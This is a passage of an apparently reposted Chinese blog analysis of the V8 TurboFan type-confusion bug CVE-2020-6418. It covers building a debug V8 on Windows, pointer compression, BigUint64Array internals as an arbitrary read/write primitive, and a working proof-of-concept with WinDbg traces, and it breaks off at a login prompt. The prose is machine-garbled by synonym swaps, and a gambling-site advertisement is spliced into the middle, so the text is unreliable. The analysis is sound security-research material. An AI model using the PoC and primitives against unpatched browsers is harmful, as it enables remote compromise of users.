前言

最近剖析了一下今年二月份宣布的V8破绽CVE-2020-6418，该破绽属于JIT优化历程中单个OpCode的side effect问题。虽然之前剖析过两个V8的破绽，但都没有涉及优化，以是对这一块照样空缺，若是有失足的地方迎接师傅们指出。

环境搭建

之前都是照着V8环境搭建，100%乐成版在虚拟机上搭V8，gdb实在是用的不习惯，以是就想着能不能在windows上边搞，尝试了一下发现实在成本也不高，有些地方反而比linux要利便，所需工具如下：

署理工具： 酸酸乳 4.9.2
Git： 2.22.0.windows.1
Curl： curl 7.55.1 (Windows) libcurl/7.55.1 WinSSL
os： Microsoft Windows 10 专业版 10.0.19041

酸酸乳设置

首先开启全局模式，然后打开选项设置->内陆署理，举行如下设置：

下令行设置

由于要从git拉代码，以是我们需要给他设置一下署理，这样就能通过我们的署理来下载。

git config --global https.proxy socks5://127.0.0.1:1080
 git config --global http.proxy socks5://127.0.0.1:1080
 git config --global git.proxy socks5://127.0.0.1:1080

设置的时刻还会用到curl，也需要通过署理来下载。

， 搭建的时刻可能会失败，每次都要输下令太烦了，以是最好照样设置一下环境变量对照利便
 set HTTP_PROXY=socks5://127.0.0.1:1080
 set HTTPS_PROXY=socks5://127.0.0.1:1080

在下令行测试一下效果

depot_tools

depot_tools是谷歌官方提供的代码管理工具集，我们需要先去github下载。

git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

将depot_tools加入到PATH环境变量中，我们之后需要多次挪用其中的工具。由于后续我们使用一些工具的时刻，depot_tools会自动下载导致失败，以是置零之后就会使用内陆的工具链，详细操作如下：

// 同理，最好添加到环境变量
 set DEPOT_TOOLS_WIN_TOOLCHAIN=0
 set GYP_MSVS_VERSION=2019

另外，若是泛起了如下内容

v8/buildtools/win/clang-format.exe.sha1' in 'D:\0x2l_v8'
NOTICE: You have PROXY values set in your environment, but gsutilin depot_tools does not (yet) obey them.
Also, --no_auth prevents the normal BOTO_CONFIG environmentvariable from being used.
To use a proxy in this situation, please supply those settingsin a .boto file pointed to by the NO_AUTH_BOTO_CONFIG environmentvariable.

那你需要执行如下下令：

echo [Boto] > D:\0x2l_v8\proxy.boto
 echo proxy=127.0.0.1 >> D:\0x2l_v8\proxy.boto
 echo proxy_port=10802 >> D:\0x2l_v8\proxy.boto
 ， 下面的也可以弄环境变量
 set NO_AUTH_BOTO_CONFIG=D:\0x2l_v8\proxy.boto

V8

接着最先下载V8的代码以及天生项目文件。需要注重的是，fetch v8刚最先的时刻会有很长一段时间卡住不动，不要忧郁，他只是没有输出而已，只要没有报错，那就是在正常运行，耐心守候就好了。

， 下载v8的repo
 fetch v8
 cd v8
 ， 若是是要调洞的话，就要在这里切到有破绽的谁人commit
 ， git reset --hard [commit hash with vulnerability]
 git reset --hard bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
 gclient sync

若是这几条下令没出偏差的话，那你基本就乐成了，不外感受搭建V8环境的问题基本都是出在这一步的，所有执行完之后可以再gclient sync一下，没问题就继续。

之后用ninja直接编译

， 提供默认的gn参数给args.gn文件，辅助我们编译出debug版本和release版本
 python tools\dev\v8gen.py x64.release
 python tools\dev\v8gen.py x64.debug
 ， 自动编译
 python tools\dev\gm.py x64.debug d8
 python tools\dev\gm.py x64.release d8

我的电脑8G内存，跑了也许十分钟左右，乐成编译。

靠山知识

指针压缩

之前剖析的V8版本都对照老，以是Smi和Object的内存结构是这样：

Smi 64bit
+----------------------+----------------+---+
|                      |                |   |
| Signed value(32bit)  | Padding(31bit) | 0 |
|                      |                |   |
+----------------------+----------------+---+

Object 64bit
+---------------------------------------+---+
|                                       |   |
|            Pointer(63bit)             | 1 |
|                                       |   |
+---------------------------------------+---+

新版本的V8采用了指针压缩手艺来提高性能，异常异常简朴地来说就是申请出4GB的空间作为堆空间分配工具，而且将原本的64bit指针缩减为32bit来示意：

Smi 32bit
+---------------------+---+
|                     |   |
| Signed value(31bit) | 0 |
|                     |   |
+---------------------+---+

Object 32bit
+-----------------+---+          +---------------------+
|                 |   |          |                     |
|  offset (31bit) | 1 +<---------+     base(r13)       |
|                 |   |          |                     |
+-----------------+---+          +---------------------+

Smi对照简朴，直接用32位指针储存就好，保留最后一bit为pointer tag。Object被分为两部分示意，32位指针中除了pointer tag之外还保留了低32位地址，高32位则被保留在r13寄存器中作为base，当需要取值的时刻，就使用base+offset来示意Object。下面稍微熟悉一下压缩后的数据示意：

// Flags: --allow-natives-syntax

let a = [0, 1, 2, 3, 4];
%DebugPrint(a);
%SystemBreak();

打印效果如下：

DebugPrint: 0000037108086E39: [JSArray]
 - map: 0x0371082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x037108208dcd <JSArray[0]>
 - elements: 0x0371082109d1 <FixedArray[5]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 5
 - properties: 0x0371080406e9 <FixedArray[0]> {
    ，length: 0x037108180165 <AccessorInfo> (const accessor descriptor)
 }
 - elements: 0x0371082109d1 <FixedArray[5]> {
           0: 0
           1: 1
           2: 2
           3: 3
           4: 4
 }

查看内存

,

www.allbetgame.us

欢迎进入欧博平台网站(www.aLLbetgame.us),www.aLLbetgame.us开放欧博平台网址、欧博注册、欧博APP下载、欧博客户端下载、欧博游戏等业务。

,

0:000> dd 0000037108086E39-1
00000371`08086e38  082417f1 080406e9 082109d1 0000000a // map properties elements length

0:000> r r13
r13=0000037100000000

注重，这里r13+offset就是Object的地址。接着看Smi

0:000> dd 00000371082109d1-1
00000371`082109d0  080404d9 0000000a 00000000 00000002 // map length 0 1
00000371`082109e0  00000004 00000006 00000008          // 2 3 4

内存中参数的值正是value<<1的巨细。更详细的内容请看Pointer Compression in V8。

BigUint64Array

在之前调试的时刻，读取8字节的内存都是通过Float64Array来实现的，然则由于float是用小数编码保留的，操作的时刻还需要在Float64和Uint64之间转换。幸好新版本可以用BigUint64Array工具来操作了，稍微写个小例子试验一下：

var biguint64 = new BigUint64Array(2);
biguint64[0] = 0xc00cn;
%DebugPrint(biguint64);
%SystemBreak();

查看在内存中的结构：

DebugPrint: 0000021C08085F65: [JSTypedArray]
 - map: 0x021c08240671 <Map(BIGUINT64ELEMENTS)> [FastProperties]
 - prototype: 0x021c08202a19 <Object map = 0000021C08240699>
 - elements: 0x021c08085f4d <ByteArray[16]> [BIGUINT64ELEMENTS]
 - embedder fields: 2
 - buffer: 0x021c08085f1d <ArrayBuffer map = 0000021C08241189>
 - byte_offset: 0
 - byte_length: 16
 - length: 2
 - data_ptr: 0000021C08085F54
   - base_pointer: 0000000008085F4D
   - external_pointer: 0000021C00000007
 - properties: 0x021c080406e9 <FixedArray[0]> {}
 - elements: 0x021c08085f4d <ByteArray[16]> {
           0: 42
           1: 0
 }
 - embedder fields = {
    0, aligned pointer: 0000000000000000
    0, aligned pointer: 0000000000000000
 }
0:000> dd 0000037308085FB5-1
00000373`08085fb4  08240671 080406e9 08085f9d 08085f6d // map properties elements buffer
0:000> dp 0000037308085FB5-1+10
00000373`08085fc4  00000000`00000000 00000000`00000010 // byte_offset byte_length
00000373`08085fd4  00000000`00000002 00000373`00000007 // length external_pointer
00000373`08085fe4  00000000`08085f9d                   // base_pointer
0:000> ?00000373`00000007+00000000`08085f9d
Evaluate expression: 3792590888868 = 00000373`08085fa4 // data_ptr=external_pointer+base_pointer
0:000> dp 00000373`08085fa4
00000373`08085fa4  deaddead`deaddead c00cc00c`c00cc00c // biguint64[0] biguint64[1]

data_ptr指向我们的目的内存，且没有直接用64位数字来示意。它的值由external_pointer+base_pointer获得，划分示意data_ptr的高32位地址和低32位地址。回忆一下指针压缩中的4GB内存空间，我们可以得出以下结论：

• 若是我们控制了base_pointer，相当于实现了4GB堆地址空间的随便读写。
• 若是我们读取了external_pointer的值，相当于获得base的值（保留在r13寄存器）。
• 若是external_pointer&&base_pointer都被我们控制，我们就实现了随便地址读写。

inlining

TurboFan器械对照多，我稍微提一下和本破绽相关的内容，更详细的器械请看我写出来的链接。下图是TurboFan的优化历程

Inlining的目的是将目的函数内联到当前函数之中，不仅节省了函数挪用的分外开销，还更利便后续的其他优化（冗余缩减，逃逸剖析等等）。详细的实现分为两种：

1. General Inlining。一样平常用来处置用户代码的内联，在JSInliner针对 JSCallFunction 和 JSCallConstruct 举行处置，用 BytecodeGraphBuilder 凭据 Interpreter 天生的 Bytecode 为 callee 直接天生一个子图，最终将 Call 节点替换为该子图
2. Builtin Inlining。一样平常用来处置js内置函数的内联。TurboFan 将会在两个地方举行 Builtin 的内联，JSBuiltinReducer 处置的 Inline 必须在 Type Pass 后面，也就是需要采集 Type Information；JSCallReducer 处置的则稍早，处置一些类型严酷的 Builtin 好比 Array.prototype.map。
   • inlining/native context specialization pass: JSCallReducer
   • typed lowering pass: JSBuiltinReducer

更详细的内容请看：An overview of the TurboFan compiler，A Tale Of TurboFan，TurboFan Inlining。

破绽剖析

poc剖析

首先查看回归测试，我们可以获得以下信息：

[turbofan] Fix bug in receiver maps inference

JSCreate can have side effects (by looking up the prototype on an
object), so once we walk past that the analysis result must be marked
as "unreliable".

破绽的成因在于turbofan以为JSCreate结点不会存在side effects，因此并未将其标记为unreliable。但我们尚不清晰这个破绽会造成什么危害，接着看一下我修改后的的poc：

// Flags: --allow-natives-syntax

let a = [0, 1, 2, 3, 4];    // 建立时的类型是PACKED_SMI_ELEMENTS
function empty() {}
function f(p) {
    // Reflect.construct可以天生JSCreate结点
    // 作为pop函数的参数可以将JSCreate结点加入到effech chain之中，缘故原由之后会说
    return a.pop(Reflect.construct(empty, arguments, p));
}
// new Proxy(target, handler)设置回调函数 
// handler.get()用于阻挡工具的读取属性操作
let p = new Proxy(Object, {
    get: () => {
        %DebugPrint(a);
        %SystemBreak();
        a[0] = 1.1; // 修改之后的类型是PACKED_DOUBLE_ELEMENTS
        %DebugPrint(a);
        %SystemBreak();
        return Object.prototype;
    }
});

function main(p) {
    return f(p);
}

%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);    // a = [0, 1, 2, 3]
main(empty);    // a = [0, 1, 2]
%OptimizeFunctionOnNextCall(main);
// 当f()的第三个参数为p时，会挪用p.prototype来建立新的工具
// 接见属性的时刻自然会被handler.get()阻挡，也就会跳转到我们设置的get函数
main(p);

第一眼看到的内容如下：

1. poc首先设置了属性读取操作的处置器，并在其中界说了会修改了a数组类型的操作。

2. 接着通过Reflect.construct(empty, arguments, p)来触发处置器，属性读取之余修改了数组类型，看一下修改前后的内存结构：

   DebugPrint: 0000002108085EFD: [JSArray]
     - map: 0x0021082417f1 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
     - prototype: 0x002108208dcd <JSArray[0]>
     - elements: 0x00210808608d <FixedArray[5]> [PACKED_SMI_ELEMENTS]
     - length: 3
     - properties: 0x0021080406e9 <FixedArray[0]> {
        ，length: 0x002108180165 <AccessorInfo> (const accessor descriptor)
     }
     - elements: 0x00210808608d <FixedArray[5]> {
               0: 0
               1: 1
               2: 2
             3-4: 0x002108040385 <the_hole>
     }
   
    // 修改前
    0:000> dd 0x00210808608d-1
    00000021`0808608c  080404b1 0000000a 00000000 00000002 // map length 0 1
    00000021`0808609c  00000004                            // 2

   DebugPrint: 0000002108085EFD: [JSArray]
     - map: 0x002108241891 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
     - prototype: 0x002108208dcd <JSArray[0]>
     - elements: 0x002108086149 <FixedDoubleArray[5]> [PACKED_DOUBLE_ELEMENTS]
     - length: 3
     - properties: 0x0021080406e9 <FixedArray[0]> {
        ，length: 0x002108180165 <AccessorInfo> (const accessor descriptor)
     }
     - elements: 0x002108086149 <FixedDoubleArray[5]> {
               0: 1.1
               1: 1
               2: 2
             3-4: <the_hole>
     }
   
    // 修改后
    0:000> dd 0000002108086149-1
    00000021`08086148  08040a3d 0000000a                   // map length
    0:000> dq 0000002108086149-1+8
    00000021`08086150  3ff19999`9999999a 3ff00000`00000000 // 1.1 1
    00000021`08086160  40000000`00000000                   // 2

3. 3. a.pop触发破绽。

   0:000> g
    Breakpoint 1 hit
    00000021`000c2c3d 418b448807      mov     eax,dword ptr [r8+rcx*4+7] ds:00000021`080861bc=00000000
    0:000> r
    rax=0000002108085efd rbx=00000148ef6e7080 rcx=0000000000000002
    rdx=0000002108086150 rsi=0000000000000000 rdi=0000002108085efd
    rip=00000021000c2c3d rsp=0000003cb4dfeaa0 rbp=0000003cb4dfeac0
     r8=00000021080861ad  r9=0000000000000004 r10=0000002108086150
    r11=0000002108085efd r12=00000021080861ad r13=0000002100000000
    r14=00000021080861ac r15=00000021080861c8
    iopl=0         nv up ei pl nz na pe nc
    cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
    00000021`000c2c3d 418b448807      mov     eax,dword ptr [r8+rcx*4+7] ds:00000021`080861bc=00000000
    0:000> dd 0000002108085EFD-1
    00000021`08085efc  08241891 080406e9 080861ad 00000004
    0:000> dd 00000021080861ad-1
    00000021`080861ac  08040a3d 0000000a 9999999a 3ff19999
    00000021`080861bc  00000000 3ff00000 00000000 00000000

   dword ptr说明晰pop函数仍然把数组看成是PACKED_SMI_ELEMENTS，殊不知数组的类型已经改变，原本存放00000004的内存处已经变成了3ff0000000000000的低八字节。

连系commit中给出的信息，推测是在优化后的a.pop函数挪用的时刻，忽略了JSCreate的side-effect，并没有对a数组的类型举行检查，从而造成了类型混淆。

源码剖析

patch位于InferReceiverMapsUnsafe函数中，该函数会遍历effect chain来检查opcode是否拥有side-effect，返回值有以下三个

// Walks up the {effect} chain to find a witness that provides map
  // information about the {receiver}. Can look through potentially
  // side effecting nodes.
  enum InferReceiverMapsResult {
    kNoReceiverMaps,         // No receiver maps inferred.
    kReliableReceiverMaps,   // Receiver maps can be trusted.
    kUnreliableReceiverMaps  // Receiver maps might have changed (side-effect).
  };

由于问题发生在JSCreate中，以是着重看一下这一块的实现就好

// 完整文件位于src\compiler\node-properties.cc
NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe(
    JSHeapBroker* broker, Node* receiver, Node* effect,
    ZoneHandleSet<Map>* maps_return) {

  InferReceiverMapsResult result = kReliableReceiverMaps;
  while (true) {
    switch (effect->opcode()) {
      case IrOpcode::kJSCreate: {
        // patch后将效果标记为kUnreliableReceiverMaps
        // result = kUnreliableReceiverMaps;
        break;
      }
    }
  }
}

patch之前，函数对于JSCreate返回kReliableReceiverMaps，即以为JSCreate结点的类型不会被改变。我们对这个地方下断点看一下

0:000> bl
     0 e Disable Clear  00007ff6`93479f04  [D:\0x2l_v8\v8\src\compiler\node-properties.cc @ 380]     0001 (0001)  0:**** d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4
0:000> g
Breakpoint 0 hit
d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4:
00007ff6`93479f04 4889f1          mov     rcx,rsi
0:000> k
 ， Child-SP          RetAddr               Call Site
00 00000067`5a9fda70 00007ff6`93472634     d8!v8::internal::compiler::NodeProperties::InferReceiverMapsUnsafe+0x2b4 [D:\0x2l_v8\v8\src\compiler\node-properties.cc @ 380] 
01 00000067`5a9fdb50 00007ff6`933a844f     d8!v8::internal::compiler::MapInference::MapInference+0x54 [D:\0x2l_v8\v8\src\compiler\map-inference.cc @ 21] 
02 00000067`5a9fdbe0 00007ff6`933a55a4     d8!v8::internal::compiler::JSCallReducer::ReduceArrayPrototypePop+0xff [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 4925] 
03 00000067`5a9fde10 00007ff6`9339c14e     d8!v8::internal::compiler::JSCallReducer::ReduceJSCall+0x1e4 [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 3989] 
04 00000067`5a9fdec0 00007ff6`9339adf3     d8!v8::internal::compiler::JSCallReducer::ReduceJSCall+0x1de [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 3783] 
05 00000067`5a9fdff0 00007ff6`933858f4     d8!v8::internal::compiler::JSCallReducer::Reduce+0x53 [D:\0x2l_v8\v8\src\compiler\js-call-reducer.cc @ 2210] 
06 00000067`5a9fe080 00007ff6`93385347     d8!v8::internal::compiler::GraphReducer::Reduce+0x94 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 90] 
07 00000067`5a9fe1e0 00007ff6`93385038     d8!v8::internal::compiler::GraphReducer::ReduceTop+0x167 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 159] 
08 00000067`5a9fe260 00007ff6`93493bf1     d8!v8::internal::compiler::GraphReducer::ReduceNode+0xc8 [D:\0x2l_v8\v8\src\compiler\graph-reducer.cc @ 56] 
09 00000067`5a9fe2c0 00007ff6`93487c85     d8!v8::internal::compiler::InliningPhase::Run+0x541 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1412] 
0a 00000067`5a9fe680 00007ff6`934839c2     d8!v8::internal::compiler::PipelineImpl::Run<v8::internal::compiler::InliningPhase>+0xf5 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1322] 
0b 00000067`5a9fe720 00007ff6`934833bc     d8!v8::internal::compiler::PipelineImpl::CreateGraph+0x82 [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 2393] 
0c 00000067`5a9fe780 00007ff6`92c4e775     d8!v8::internal::compiler::PipelineCompilationJob::PrepareJobImpl+0x1bc [D:\0x2l_v8\v8\src\compiler\pipeline.cc @ 1124] 
0d 00000067`5a9fe7d0 00007ff6`92c5236f     d8!v8::internal::OptimizedCompilationJob::PrepareJob+0x265 [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 221] 
0e (Inline Function) --------`--------     d8!v8::internal::`anonymous namespace'::GetOptimizedCodeNow+0x20f [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 750] 
0f 00000067`5a9fe940 00007ff6`92c52ea9     d8!v8::internal::`anonymous namespace'::GetOptimizedCode+0xbdf [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 911] 
10 00000067`5a9febc0 00007ff6`9300fa5f     d8!v8::internal::Compiler::CompileOptimized+0xa9 [D:\0x2l_v8\v8\src\codegen\compiler.cc @ 1493] 
11 (Inline Function) --------`--------     d8!v8::internal::__RT_impl_Runtime_CompileOptimized_NotConcurrent+0x71 [D:\0x2l_v8\v8\src\runtime\runtime-compiler.cc @ 90] 
12 00000067`5a9fec20 00007ff6`935b4e1c     d8!v8::internal::Runtime_CompileOptimized_NotConcurrent+0x9f [D:\0x2l_v8\v8\src\runtime\runtime-compiler.cc @ 82] 
13 00000067`5a9fec90 00007ff6`935483ed     d8!Builtins_CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit+0x3c
14 00000067`5a9fece0 00007ff6`93548291     d8!Builtins_InterpreterEntryTrampoline+0x22d
15 00000067`5a9fed10 00007ff6`93545d1e     d8!Builtins_InterpreterEntryTrampoline+0xd1
16 00000067`5a9fed70 00007ff6`9354590c     d8!Builtins_JSEntryTrampoline+0x5e
17 00000067`5a9fed98 00007ff6`92cc4196     d8!Builtins_JSEntry+0xcc
18 (Inline Function) --------`--------     d8!v8::internal::GeneratedCode<unsigned long long,unsigned long long,unsigned long long,unsigned long long,unsigned long long,long long,unsigned long long **>::Call+0x18 [D:\0x2l_v8\v8\src\execution\simulator.h @ 142] 
19 00000067`5a9feeb0 00007ff6`92cc33e5     d8!v8::internal::`anonymous namespace'::Invoke+0xd86 [D:\0x2l_v8\v8\src\execution\execution.cc @ 367] 
1a 00000067`5a9ff090 00007ff6`92b952af     d8!v8::internal::Execution::Call+0x125 [D:\0x2l_v8\v8\src\execution\execution.cc @ 461] 
1b 00000067`5a9ff140 00007ff6`92b762ae     d8!v8::Script::Run+0x2af [D:\0x2l_v8\v8\src\api\api.cc @ 2186] 
1c 00000067`5a9ff2d0 00007ff6`92b8148b     d8!v8::Shell::ExecuteString+0x73e [D:\0x2l_v8\v8\src\d8\d8.cc @ 626] 
1d 00000067`5a9ff580 00007ff6`92b83a35     d8!v8::SourceGroup::Execute+0x27b [D:\0x2l_v8\v8\src\d8\d8.cc @ 2708] 
1e 00000067`5a9ff640 00007ff6`92b85779     d8!v8::Shell::RunMain+0x245 [D:\0x2l_v8\v8\src\d8\d8.cc @ 3192] 
1f 00000067`5a9ff770 00007ff6`937a9ef8     d8!v8::Shell::Main+0x1309 [D:\0x2l_v8\v8\src\d8\d8.cc @ 3820] 
20 (Inline Function) --------`--------     d8!invoke_main+0x22 [d:\agent\_work\63\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 78] 
21 00000067`5a9ffcb0 00007fff`9aa27034     d8!__scrt_common_main_seh+0x10c [d:\agent\_work\63\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
22 00000067`5a9ffcf0 00007fff`9bb1d0d1     KERNEL32!BaseThreadInitThunk+0x14
23 00000067`5a9ffd20 00000000`00000000     ntdll!RtlUserThreadStart+0x21

凭据客栈可知，上层函数是MapInference类的组织函数，返回之后看一下详细实现

// 完整代码见src\compiler\map-inference.cc
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
    : broker_(broker), object_(object) {

登录并阅读全文